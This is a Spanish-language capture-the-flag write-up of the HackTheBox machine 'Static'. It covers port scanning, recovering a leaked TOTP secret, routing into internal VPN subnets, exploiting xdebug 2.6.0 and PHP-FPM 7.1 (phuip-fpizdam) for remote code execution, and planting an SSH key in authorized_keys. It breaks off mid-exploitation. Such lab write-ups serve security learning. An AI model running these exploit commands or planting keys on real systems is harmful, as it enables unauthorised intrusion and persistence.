HackTheBox - Static

Lanz
Funk Lanz el
HackTheBox - Static

Máquina Linux nivel difícil. Enumeraremos muchos servidores web, reconstruiremos comprimidos dañados, romperemos xdebug, romperemos PHP-FMP y romperemos terminales :P Juegos con llaves SSH yyyyyyyyy un Path Hijacking muy locochón.

355staticHTB

TL;DR (Spanish writeup)

Creada por: ompamo.

Estamos certificados, tranquilos.

Vamos a encontrar un servidor web con un login bastante peye, pero nos frenará (pillin), para completar la autenticación necesitamos proveer un OPT code.

Jugando con archivos comprimidos dañados y herramientas para arreglarlos obtendremos finalmente la combinación perfecta para empezar a generar estos códigos, una vez con los códigos lograremos pasar el login-panel.

Estando dentro veremos los servidores internos que esta ejecutando la empresa y también contaremos con la opción de descargar archivos .ovpn para conectarnos a esa red interna de la corporación, moviendo manitos y pestañas de internet lograremos añadir rutas a las -tablas de rutas- :P para así conseguir conexión contra un segmento distinto al nuestro. Así y solo así encontraremos otro servidor web (:

Ese servidor web esta corriendo PHP y una extensión llamada xdebug en su versión 2.6.0, encontraremos una vulnerabilidad contra ella, la usaremos para obtener ejecución remota de comandos en el servidor web, sin embargo, no una Reverse Shell, ya que esta se nos pondrá un poco difícil de generar. Enumeraremos con ayuda de un script bastante fresco mi pana que hemos creado para encontrar cositas y agregar otras. Moviendo y bailando con SSH conseguiremos una Shell estable como www-data.

xdebug_rce.py

Dando vueltas en el sistema y relacionando los servidores encontrados antes, veremos que podemos hablar con otro de los servidores, en este caso contra pki, generaremos un port-fortwarding inicialmente buscando plata y encontramos oro, viendo como viajan las peticiones del servidor tendremos el servicio PHP-FPM en su versión 7.1, como niños volveremos a jugar y encontraremos una vulnerabilidad que nos devuelve ejecución remota de comandos, como únicamente tenemos conectividad contra el servidor web, moveremos cielo y tierra para establecer una Reverse Shell contra ella, así tendremos una Shell en el sistema como www-data pero ahora en pki.

(El RCE nos generó bastantes lapsus mentales, así que nos creamos esta FakeShell muy sencilla)

phpFpmRCE.py

En el sistema encontraremos el binario encargado de generar los archivos .ovpn que vimos inicialmente, inspeccionando el objeto encontramos algunas rutas, sin embargo, lo más relevante es que tiene activada una capability que permite cambiar el UID al usuario root (UID=0) mientras se ejecuta. Esto nos llama la atención y con ayuda de pspy intentaremos ver que pasa por atrás mientras se personifica a root. Viendo los procesos internos del binario encontraremos unos llamados a programas sin sus rutas absolutas, nos aprovecharemos de eso para generar un Path Hijacking y hacer que el binario ejecute una Reverse Shell como el usuario root (:

Clasificación de la máquina según la gentesita

Vulns conocidas y la máquina esta dirigida hacia la realidad.

La idea inicial de esta locura es tener mis “notas” por si algún día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) :) La segunda idea surgió con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo las ganas para ayudarnos ¿por qué no hacerlo? … Un detalle es que si ves mucho texto, es porque me gusta mostrar tanto errores como éxitos y también plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3 Todo lo que ves es vida!

a m a r i

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Encontramos otro servidor web: www-data (web) -> www-data (pki).
  5. Escalada de privilegios.

Reconocimiento #

Enumeración de puertos con nmap 📌


❱ nmap -p- --open -v 10.10.10.246 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Pero nos indica:

...
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
...

El mismo nmap nos indica que colocar para evitar que la herramienta envíe trazas ICMP (ping) contra la máquina, usémoslo:

❱ nmap -p- --open -v -Pn 10.10.10.246 -oG initScan

Y obtenemos:

❱ cat initScan 
# Nmap 7.80 scan initiated Wed Sep 22 25:25:25 2021 as: nmap -p- --open -v -Pn -oG initScan 10.10.10.246
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.246 ()   Status: Up
Host: 10.10.10.246 ()   Ports: 22/open/tcp//ssh///, 2222/open/tcp//EtherNetIP-1///, 8080/open/tcp//http-proxy///    Ignored State: filtered (65532)
# Nmap done at Wed Sep 22 25:25:25 2021 -- 1 IP address (1 host up) scanned in 370.99 seconds
Puerto Descripción
22 SSH: Podemos obtener una Shell de manera segura en el sistema.
2222 Ni idea.
8080 HTTP-Proxy: Funciona como un túnel por el que viajan antes las peticiones que realizamos hacia un sitio web.

Pues ya con estos puertos, podemos enfocarnos en encontrar que versiones y scripts (los que usa nmap para sus escaneos profundos) son funcionales contra ellos y así descubrir más info:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.10.246
    [*] Open ports: 22,2222,8080

[*] Ports copied to clipboard

)~

❱ nmap -p 22,2222,8080 -sC -sV -Pn 10.10.10.246 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y obtenemos:

❱ cat portScan 
# Nmap 7.80 scan initiated Wed Sep 22 25:25:25 2021 as: nmap -p 22,2222,8080 -sC -sV -Pn -oN portScan 10.10.10.246
Nmap scan report for 10.10.10.246
Host is up (0.11s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
|   256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_  256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
|   256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_  256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 2 disallowed entries 
|_/vpn/ /.ftp_uploads/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 22 25:25:25 2021 -- 1 IP address (1 host up) scanned in 31.64 seconds

Bien, veamos que hay:

Puerto Servicio Versión
22 SSH OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
2222 SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  • Curiosamente, tenemos dos puertos corriendo SSH, jmmm…

Puerto Servicio Versión
8080 HTTP Apache httpd 2.4.38
  • Vemos dos rutas que posiblemente esté sirviendo el servidor web:
    • /vpn/
    • /.ftp_uploads/

Y poco más, empecemos a profundizar en esto y descubramos como explotar la máquina.

Enumeración #

Dando vueltas con el puerto 8080 📌

Haciendo una petición en la web nos devuelve una página en blanco:

Si recordamos habíamos visto dos posibles rutas que el servidor web supuestamente esta sirviendo, pues probémoslas:

🚬 /vpn/:

http://10.10.10.246:8080/vpn/login.php

Un login-panel, haciendo las pruebas de siempre con distintos usuarios que pueden (o no) existir en la db, probamos las credenciales admin:admin y vemos esto:

Nos pide un código OTP (ya hablaremos de esto) para poder acceder realmente a donde sea que debamos acceder… Pero claro, no lo tenemos, así que F.

Antes de profundizar revisemos el otro recurso.

🚬 /.ftp_uploads/:

Si revisamos warning.txt nos dice esto:

Binary files are being corrupted during transfer!!! Check if are recoverable.

Jmmm, validemos si se refiere al archivo comprimido db.sql.gz, lo descargamos e intentamos descomprimirlo:

❱ file db.sql.gz 
db.sql.gz: gzip compressed data, was "db.sql", last modified: Thu Jun 18 15:43:42 2020, from Unix, original size modulo 2^32 355

Efectivamente, hay errores en el archivo, pues “Check if are recoverable”.

Arreglamos el comprimido y vemos su contenido 📌

Podemos tomar los dos errores y buscarlos en la web, quizás haya alguna solución o idea…

Después de recorrer varios recursos, entendemos el porqué del error:

🙇 invalid compressed data--crc error: that is because you have download the file from FTP not using binary format. invalid compressed data–crc error

Y probamos varias cositas:

Pero ninguno funciona del todo, seguimos profundizando y con las búsquedas relacionadas con:

invalid compressed data--length error

Llegamos a este hilo donde reseñan una herramienta llamada fixgz:


 * fixgz attempts to fix a binary file transferred in ascii mode by
 * removing each extra CR (Carriage Return) when it followed by LF (Line Feed).

Como bien nos indica, toma el binario que ha sido transferido erróneamente y remueve de cada línea los valores ASCII relacionados con el retorno de carro:

🥇 CR (Carriage Return) (\r): Se encarga de mover el cursor a la primera posición de una línea.

Peeero solo los remueve si están seguidos de un salto de línea (LF - Line Feed - \n). O sea, quita del binario esto: \r\n (que si no se ha entendido, esos dos loquitos generan una nueva línea vacía, lo cual en un binario claramente daña la integridad del archivo)

Este recurso tambien puede ser util para entender lo que se quiere hacer.

Intentemos entonces usar fixgz (en el mismo hilo esta la descarga), debemos compilarlo para generar el ejecutable:

❱ gcc fixgz.c -o fixgz

Obtenemos unos warnings pero nada alarmante. Ya teniendo el archivo únicamente falta ejecutarlo y es muy sencillo:

 * usage: fixgz  bad.gz fixed.gz

Entonces:

❱ ./fixgz db.sql.gz fixed_db.sql.gz
❱ file fixed_db.sql.gz 
fixed_db.sql.gz: gzip compressed data, was "db.sql", last modified: Thu Jun 18 15:43:42 2020, from Unix, original size modulo 2^32 355
❱ gzip -d fixed_db.sql.gz

Nada de errores yyyyyyyy el comprimido nos devuelve el archivo fixed_db.sql el cual contiene:

CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varchar(40) not null, totp varchar(16) not null, primary key (id) ); 
INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );

Opaaaa, un export del contenido de la base de datos static y su tabla users, vemos dos cosas interesantes:

  • password: (pierde importancia si lo crackeamos, ya que encontramos la contraseña que ya usamos en el login, o sea admin).
  • totp.

Si recordamos antes habíamos pasado un login-panel con las credenciales admin:admin y nos pedía un código OTP… Este campo que encontramos tiene un nombre muy parecido, profundicemos y entendamos que tenemos…

Hablamos un poco sobre OTP 📌

🔢 El código OTP es una password o contraseña de un único uso (sus siglas en inglés: One-Time Password), también conocida como password o contraseña dinámica. Se utiliza como segundo factor de autenticación, además del nombre de usuario y la contraseña comúnmente utilizados. Solo es válida una vez, de forma que aunque un atacante consiguiera hacerse con ella no podría reutilizarla. ¿Qué es el código OTP?

Perfecto, bastante sencillo y muy probablemente los hayas usado.

Existen dos tipos de OTP:

  • HOTP.
  • TOTP, que es el que al parecer tiene la web que estamos intentando visitar (el valor que obtuvimos del .sql se llama totp :P).

Que resumidamente (muuuy resumidamente):

Los dos tipos de OTP toman dos tipos de información, una clave secreta y un factor móvil.

La definición de la clave secreta es eso, una clave (secreta) 🤪 y los factores móviles los describimos ahora:

Factor móvil Descripción
HOTP HMAC-based One-time Password algorithm esta basado en un contador (factor móvil), el código OPT se genera según ese contador. Cada vez que se intenta una autenticación el contador cambia, por lo que el próximo código OTP también cambiará.
TOTP Time-based One-time Password es más sencillo de entender, ya que el factor móvil es el tiempo, por lo que cada que se intenta una autenticación tenemos 30/60 segundos para colocar el código OTP, pasado el tiempo se genera un nuevo OTP.

Les dejo unos recursos por si algo:

Pues perfecto, tenemos los dos tipos de información, la llave secreta deducimos que es el campo totp del archivo .sql y también sabemos que el factor móvil es el tiempo, o sea el tipo de OTP es el TOTP, así que tamos completicos, veamos si podemos empezar a generar códigos…

Generamos códigos OTP y autenticación total 📌

Leyendo más sobre el tema:

Caí en cuenta que existen varias extensiones que podemos agregar a nuestro navegador para jugar con el doble factor de autenticación, una de ellas es Authenticator, la instalamos y vemos esto:

Y seguimos estos pasos:

  • Clic en Edit, luego en Add Account y después Manual Entry.

Finalmente veríamos:

El campo Secret se relaciona con lo encontrado antes en nuestra enumeración, pues si colocamos ahí nuestra llave secreta encontrada en el archivo .sql, obtenemos esto:

Perfectísimo, se nos empiezan a generar los códigos OTP basados en tiempo (por si no se ve la flecha que hice, nos muestra cuanto tiempo queda de validez contra X código), ahora que tenemos esto, volvamos al apartado del login-panel y probemos con los códigos a ver si logramos la autenticación completa…

  • Nos logeamos con admin:admin.
  • Tomamos un código que nos genere la extensión.
  • Yyyyyy…

Opaaaa, ahora si tamos dentroooooooo :)

Tenemos 5 direcciones IP que hacen referencia a 5 servidores, uno de ellos (pub) al parecer no esta funcional y otro (pki) tiene una dirección bastante distinta a las demás, lo cual nos pone alerta sobre ella, ¿no? :P

También tenemos un campo en el que podemos generar -algo- según el common name que indiquemos, probemos por ejemplo con pki:

Nos genera un archivo <cn>.ovpn:

🕵️ El archivo con extensiones OVPN almacena la configuración de conexión utilizada por OpenVPN, una herramienta de software o gestión de redes virtuales. El archivo de configuración OVPN contiene configuraciones de acceso a la red privada virtual y configuración del cliente. ¿Qué es el archivo OVPN?

(Ya sabemos como usarlo, con uno de esos nos conectamos a HTB)

Lo descargamos y si vemos su contenido tenemos lo primero interesante:

❱ cat pki.ovpn
client
dev tun9
proto udp
remote vpn.static.htb 1194
resolv-retry infinite
nobind
user nobody
group nogroup
persist-key
persist-tun

remote-cert-tls server

cipher AES-256-CBC
#auth SHA256
key-direction 1
verb 3
<ca>
-----BEGIN CERTIFICATE-----
MIIDRzCCAi+gAwIBAgIUR+mYrXHJORV4tbg81sQS7RfjYK4wDQYJKoZIhvcNAQEL
...
qYSaD5L082aZQj/S+qfTgkRiT2nduN1pZURn
-----END CERTIFICATE-----
</ca>
<cert>
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            98:84:91:cc:bd:6d:9d:ac:71:56:71:8a:b5:2f:31:60
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=static-gw
        Validity
            Not Before: Sep 28 19:04:08 2021 GMT
            Not After : Sep  4 19:04:08 2121 GMT
        Subject: CN=pki
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:a7:0d:7b:e3:f9:1d:ab:9f:3e:07:8c:20:6f:7a:
                    ...
                    47:53
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            X509v3 Subject Key Identifier: 
                ED:EB:1E:92:4F:D8:27:23:07:10:41:DC:72:86:23:84:8E:BB:2B:E4
            X509v3 Authority Key Identifier: 
                keyid:A1:DA:83:60:32:81:7F:1B:80:19:E0:20:2D:D6:60:C8:A5:ED:82:54
                DirName:/CN=static-gw
                serial:47:E9:98:AD:71:C9:39:15:78:B5:B8:3C:D6:C4:12:ED:17:E3:60:AE

            X509v3 Extended Key Usage: 
                TLS Web Client Authentication
            X509v3 Key Usage: 
                Digital Signature
    Signature Algorithm: sha256WithRSAEncryption
         21:f1:af:ff:29:e3:ca:af:af:e6:67:e6:78:ba:e7:24:35:74:
         ...
         9b:bb:63:00
-----BEGIN CERTIFICATE-----
MIIDUDCCAjigAwIBAgIRAJiEkcy9bZ2scVZxirUvMWAwDQYJKoZIhvcNAQELBQAw
...
3WEutTcHy0WLTjzF3k5hBgZD6KvZEA9q8BBvxbr8s06bu2MA
-----END CERTIFICATE-----
</cert>
<key>
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCnDXvj+R2rnz4H
...
bA+mpEVyP75+AxdAQYloZsk=
-----END PRIVATE KEY-----
</key>
key-direction 1
<tls-auth>
#
# 2048 bit OpenVPN static key
#
-----BEGIN OpenVPN Static key V1-----
09a194dc6aee4ae65459c682cc0b25e9
...
ea5f5af8329f367f112599f3e668bd7a
-----END OpenVPN Static key V1-----
</tls-auth>

Esa es la estructura del archivo, si nos fijamos al inicio hay un dominio:

...
remote vpn.static.htb 1194
...

Pero agregándolo al archivo /etc/hosts no obtenemos nada distinto en cuanto a resolución de nuevos recursos…

Pues veamos si realmente nos conecta a otra red mediante la VPN:

❱ openvpn pki.ovpn
...
Tue Sep 28 25:25:25 2021 Initialization Sequence Completed

Perfecto, revisemos a que segmento tenemos acceso:

Vemos las dos VPN a las que estoy conectado, la de HackTheBox y la nueva que nos ofrece la máquina Static

Se nos asigna la IP 172.30.0.10, con lo que tenemos acceso (siempre y cuando estén activas) a las direcciones del segmento 172.30.0.0/24 (172.30.0.1, 172.30.0.2, …)

Algo que se nos viene a la cabeza es que quizas los demas CN nos conecten a otros segmentos, pero nop, todos los archivos que descarguemos nos van a conectar a este mismo segmento (:

Volviendo a nuestro apartado con las 5 IPs:

A la única dirección que podemos hacerle ping es al servidor vpn y nos responde…

Acá podemos intentar descubrir otras IPs activas del segmento y en caso de existir, ver si tienen puertos abiertos:

❱ cat tryWITHips.sh
#!/bin/bash

ip=$(echo $1 | cut -d '.' -f -3)  # Extraemos el identificador de red

for port in 22 25 80 8000 8080 2222 2049 111 1194 3306 53 3000 5000 32768 32769 32770 32771; do
    for segment in $(seq 1 254); do
                                     # ie: 10.10.10.<segment>/<port>
        timeout 1 bash -c "echo '' > /dev/tcp/$ip.$segment/$port" 2>/dev/null && echo "IP: $ip.$segment - Port: $port" &
    done; wait
done

Ejecutándolo tenemos:

❱ ./tryWITHips.sh 172.30.0.0
IP: 172.30.0.1 - Port: 22
IP: 172.30.0.1 - Port: 2222
IP: 172.30.0.10 - Port: 111

Después de ver las versiones y scripts con nmap no obtenemos nada interesante, así que sigamos buscando maneras de romper lo encontrado…

Nos enrutamos contra los servidores de otra VPN 📌

Dando vueltas (muchas) nos damos cuenta de que hay un segmento bastante cercano al actual (172.20.0.0/24) que usa dos servidores: db y web, buscando formas de conectarnos o interactuar encontramos el comando route, con él lograremos ver las tablas de rutas IP que maneja la red.

La tabla de enrutamiento enumera las direcciones IP de las redes que conoce el sistema. 📑

Así que podemos apoyarnos de route para agregar ese segmento a nuestra red a ver si logramos ver alguno de los servidores:

❱ route add -net 172.20.0.0/24 tun9

Le indicamos que agregue el segmento 172.20.0.0/24 sobre la interfaz tun9, que es donde tenemos la VPN de Static, así que estaríamos conectaos’ y en teoría nos veríamos las caras :P

❱ route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.10.14.0      0.0.0.0         255.255.254.0   U     0      0        0 tun0
...
172.17.0.0      172.30.0.1      255.255.255.0   UG    0      0        0 tun9
...
172.20.0.0      0.0.0.0         255.255.255.0   U     0      0        0 tun9
...
172.30.0.0      0.0.0.0         255.255.0.0     U     0      0        0 tun9

Perfecto, validemos si tenemos conectividad:

❱ ping -c 1 172.20.0.10
PING 172.20.0.10 (172.20.0.10) 56(84) bytes of data.
64 bytes from 172.20.0.10: icmp_seq=1 ttl=63 time=107 ms

--- 172.20.0.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 106.986/106.986/106.986/0.000 ms
❱ ping -c 1 172.20.0.11
PING 172.20.0.11 (172.20.0.11) 56(84) bytes of data.
64 bytes from 172.20.0.11: icmp_seq=1 ttl=63 time=107 ms

--- 172.20.0.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 106.974/106.974/106.974/0.000 ms

Liiiiistones, pues aprovechemos el script de antes para ver que direcciones están activas y si tienen algún puerto expuesto:

❱ ./tryWITHips.sh 172.20.0.0
IP: 172.20.0.10 - Port: 22
IP: 172.20.0.1 - Port: 22
IP: 172.20.0.10 - Port: 80
IP: 172.20.0.1 - Port: 2222
IP: 172.20.0.11 - Port: 3306

Bien, tenemos los dos que nos mostraba la web:

  • web : 172.20.0.10 -> 80
  • db : 172.20.0.11 -> 3306

Inspeccionemos el servidor web a ver si es lo mismo que ya teníamos o es otro…

Explotación #

Jugamos con el nuevo servidor web 📌

Visitando la dirección IP vemos:

Apaaaa, tenemos un recurso distinto al primer servidor web (/vpn/ es el mismo que antes (el login-panel)), info.php:

Hay muuuuuuuuuuchas versiones y referencias locas.

Después de vaaaaarias búsquedas y perdidas, llegamos a una extensión de PHP que esta siendo usada por la web:

Lo curioso es que en la web de una encontramos cositas interesantes:

💢 Extensión de PHP que proporciona la capacidad de depurar código y errores. Xdebug

Buscando, nos damos cuenta de que existen varios vectores de ataque contra xdebug asociados a phpstorm, que es un entorno de desarrollo integrado (IDE) para PHP.

Uno de ellos (y el que vemos en el exploit de GitHub) es basado en la función eval de PHP, ya que permite ejecución remota de comandos 😈

El tema es que PHPStorm crea los procesos para empezar a debuggear, peeeero también hace que los puertos 9000 (también lo vemos en el exploit de GitHub), 10137 y 20080 estén en escucha esperando una conexión. Después para generar esa conexión y empezar a debuggear, debemos usar XDEBUG_SESSION=PHPSTORM. Esto finalmente hace que xdebug se conecte al puerto 9000 donde previamente PHPStorm estaba escuchando y pues ya tendríamos acceso a todas las funcionalidades de un debug, que en este caso junto a la función eval seria obtener un RCE bien lindo.

Los pasos para la explotación serian estos:

  • Ejecutamos exploit, él genera la escucha sobre el puerto 9000.
  • Hacemos la petición para crear la conexión:

    ❱ curl http://172.20.0.10/info.php?XDEBUG_SESSION_START=phpstorm
    
  • Esa petición establece la conexión con el puerto 9000 y ya se nos mostraría una FakeShell en la que si queremos ejecutar comandos debemos hacer:

    >> system("<comando>");  // U otras maneras (exec, shell_exec...)
    

Decidí implementarle varias cosas al script para generar todos los pasos desde él, así lo único que debemos hacer es ejecutarlo y ya obtendríamos la FakeShell, este sería el resultado:

xdebug_rce.py

❱ python3 xdebug_rce.py 

FakeShell (RCE) explotando extensión XDebug 2.6.0 en PHP

xdeBUG ~> whoami
www-data
xdeBUG ~> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
xdeBUG ~> pwd
/var/www/html

Pues muy bien, ahora solo nos queda buscar alguna manera de obtener una reverse shell o algo llamativo por ahí (:

Encontramos llaves SSH del usuario www-data 📌

Algo que nos damos cuenta es que al intentar listar o leer archivos nos devuelve un solo resultado de toooodos los que deberían venir, por ejemplo si queremos ver el contenido del archivo /etc/passwd:

Claramente, no puede ser de un resultado o podría, pero ese resultado deberíamos ser nosotros, www-data, así que intuimos que nos esta cortando la respuesta, esto lo podemos “solucionar” (a veces sirve, otras no) diciéndole que al resultado le quite los saltos de línea, no funciono contra ese archivo pero si contra directorios:

xdeBUG ~> ls -la /home
drwxr-x--- 4 www-data www-data 4096 Sep 29 12:14 www-data
xdeBUG ~> ls -la /home/www-data
-rw-rw-r-- 1 www-data www-data   53 Sep 29 11:31 index.html
xdeBUG ~> ls -la /home/www-data | xargs echo
total 20 drwxr-x--- 4 www-data www-data 4096 Sep 29 16:10 . drwxr-xr-x 3 root root 4096 Jun 14 07:56 .. lrwxrwxrwx 1 root root 9 Jun 14 08:02 .bash_history -> /dev/null drwx------ 2 www-data www-data 4096 Jun 14 08:00 .cache drwx------ 2 www-data www-data 4096 Jun 14 07:54 .ssh -rw-rw-r-- 1 www-data www-data 53 Sep 29 11:31 index.html

Entre lo que obtenemos, vemos una carpeta llamativa: .ssh, inspeccionémosla…

xdeBUG ~> ls -la /home/www-data/.ssh | xargs echo
total 20 drwx------ 2 www-data www-data 4096 Jun 14 07:54 . drwxr-x--- 4 www-data www-data 4096 Sep 29 16:10 .. -rw-r--r-- 1 www-data www-data 390 Jun 14 07:54 authorized_keys -rw------- 1 www-data www-data 1675 Jun 14 07:34 id_rsa -rw-r--r-- 1 www-data www-data 390 Jun 14 07:34 id_rsa.pub

Bien, tenemos una llave privada, una pública y el archivo donde residen las llaves públicas de otros usuarios que quieren conectarse a la máquina sin proveer contraseña :O Intentemos extraer la llave privada de www-data y si no lo logramos, agregamos nuestra llave pública al archivo authorized_keys para que el sistema nos deje autenticarnos sin proveer contraseña.

xdeBUG ~> cat /home/www-data/.ssh/id_rsa
-----END RSA PRIVATE KEY-----

Nos devuelve únicamente la última línea del archivo… Intentando otras formas, nanai, así que agreguemos nuestra llave publica a authorized_keys:

❱ ssh-keygen

Nos genera el par de llaves (si ya las tienes pues no las creas :P), vamos a la ruta donde se hayan creado y tomamos el objeto id_rsa.pub, copiamos su contenido yyyyyyyyy en la Fake Shell le decimos que remplace el contenido del archivo con la nueva cadena que le pasaremos, o sea con nuestra llave publica:

Perfecto, pues ya lo siguiente sería simplemente intentar conectarnos por SSH a la máquina como www-data, no debería pedirnos contraseña, ya que el sistema confía en las credenciales que encuentra en el objeto authorized_keys, veamos:

PERFECTOOOOOOOOOOOOOOOOO!! Tenemos una Shell estable, para evitar estar modificando el objeto authorized_keys, tomemos la llave privada y guardémosla, si en dado caso se borra nuestra llave pública, usaríamos algo como:

❱ ssh www-data@172.20.0.10 -i www-data.privkey

Bueno, pues a enumerar…

www-data (web) -> www-data (pki) #

Algo que me di cuenta al tomar el screen de arriba es que nuestra IP privada esta en el segmento de una los servidores que vimos antes en la web:

pki    192.168.254.3    Online

Jmmm, interesante, pero ¿qué es PKI? (io no sabo):

🔑 Una infraestructura de claves públicas (PKI), son un grupo de componentes y servicios informáticos que permiten gestionar, controlar y administrar la tarea de generar, brindar, revocar y validar toda clase de certificados digitales. Infraestructura de clave pública o PKI

Listones, certificados digitales nos lleva a pensar en servidores web, pero para evitar adivinar podemos hacer uso del script con el que encontramos las direcciones y puertos activos, pasémoslo al sistema:

❱ base64 -w 0 tryWITHips.sh
# Copiamos el output
www-data@web:~$ echo "<base64>" | base64 -d > /tmp/tryWITHips.sh

Y listo, probemos:

Efectivamente, la dirección 192.168.254.3 esta ejecutando un servidor web, pero tamos medio F, ya que el sistema no tiene ni cURL ni wget para interactuar con él. Acá recordé que una vez usé una función que alguien creo la cual simula una conexión tcp para descargar archivos y hacer peticiones a servicios web. Casi no la encuentro, peeeeeroooooo:

Entonces, copiamos exactamente la función como esta y la pegamos en la terminal, el resultado es que podemos emular el uso de curl con __curl:

Jmmm, un output bastante extraño, nos muestra una ruta hacia un binario, pero en el sistema no existe:

www-data@web:/tmp$ ls -al /usr/bin/ersatool
ls: cannot access '/usr/bin/ersatool': No such file or directory

Después de estar bastante perdido, decidí hacer un port forwarding y ver si existen algunas rutas que esté sirviendo fuera de nuestros ojos (fuzzing), apoyados en que tenemos “credenciales” es muuucho más fácil el fortwarding:

❱ ssh www-data@172.20.0.10 -i www-data.privkey -L 8001:192.168.254.3:80

Le decimos que redireccione el tráfico del puerto 80 del servidor 192.168.254.3 al puerto 8001 de nuestro sistema local, validamos:

❱ lsof -i:8001
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
ssh     294594 root    4u  IPv6 1117044      0t0  TCP localhost:8001 (LISTEN)
ssh     294594 root    5u  IPv4 1117045      0t0  TCP localhost:8001 (LISTEN)

Listo, en la web vemos lo mismo de antes (la referencia al binario), intentando fuzzing tampoco difiere la respuesta, así que a seguir buscando…

Visualizando como viaja la petición GET vemos algo bastante llamativo:

Jmmm, ¿PHP-FPM? Veamos que es eso rápidamente:

🌾 PHP-FPM (Fast Process Manager) sirve para que el código PHP ejecutado en un servidor no sea tomado como un solo proceso, sino que se pueda repartir, controlar, ejecutar, etc. en varios. 🔗

Bien, pues veamos si existen vulnerabilidades para la version 7.1

RCEnizas contra PHP-FPM 7.1 📌

Y sip, hay una que se repite bastante:

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it is possible to cause FPM module to write past allocated buffers into the space reserved for FCGI protocol data, thus opening the possibility of remote code execution.

Opaaa. Tenemos varios recursos que la explican, se los dejo para que profundicen:

Básicamente la explotación se logra bypasseando una configuración específica. Esta configuración esta basada en expresiones regulares que pueden ser burladas al agregar una nueva línea encodeada (%0a), esta línea y otros caracteres loooooooocos permitirán sobreescribir variables. Una de esas variables puede conceder un lujo, ese lujo se llama acceso a ejecución remota de comandos 😜 Realmente el trasfondo de la vuln es una locura, así que échenle un ojo a los recursos de arriba (:

(Así que nos quedó perfecto el fortwarding, de igual forma íbamos a hacerlo :P)

Encontramos este PoC que automatiza toda la vaina:

Además, el creador también nos da una explicación bastante fresca sobre la vuln y porque se causa yyyy claramente como la explotó.

Nos clonamos el repo y ejecutamos:

❱ go build

Deberíamos obtener el binario:

❱ ls
phuip-fpizdam

Y su uso es muy sencillo, únicamente le debemos pasar la URL donde esta FPM sirviendo:

❱ ./phuip-fpizdam http://127.0.0.1:8001
2021/09/29 18:18:19 Failed to create requester: well I believe the url must end with ".php". Maybe I'm wrong, delete this check if you feel like it

Necesita un .php, validemos si existe index.php:

❱ curl http://127.0.0.1:8001/index.php
batch mode: /usr/bin/ersatool create|print|revoke CN

Perfecto, pues usémoslo:

❱ ./phuip-fpizdam http://127.0.0.1:8001/index.php

Bien, ahora que ha sido sobreescrito toooooodo e.e Podremos intentar ejecución remota de comandos como nos indica:

Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs

Algo que nos indica el creador es que a veces hay que enviar varias veces la petición para lograr el RCE, si vemos que es muy random nos automatizamos el proceso para que haga los intentos el mismo programa y nosotros únicamente obtengamos los resultados…

Por ejemplo, intentemos ejecutar id:

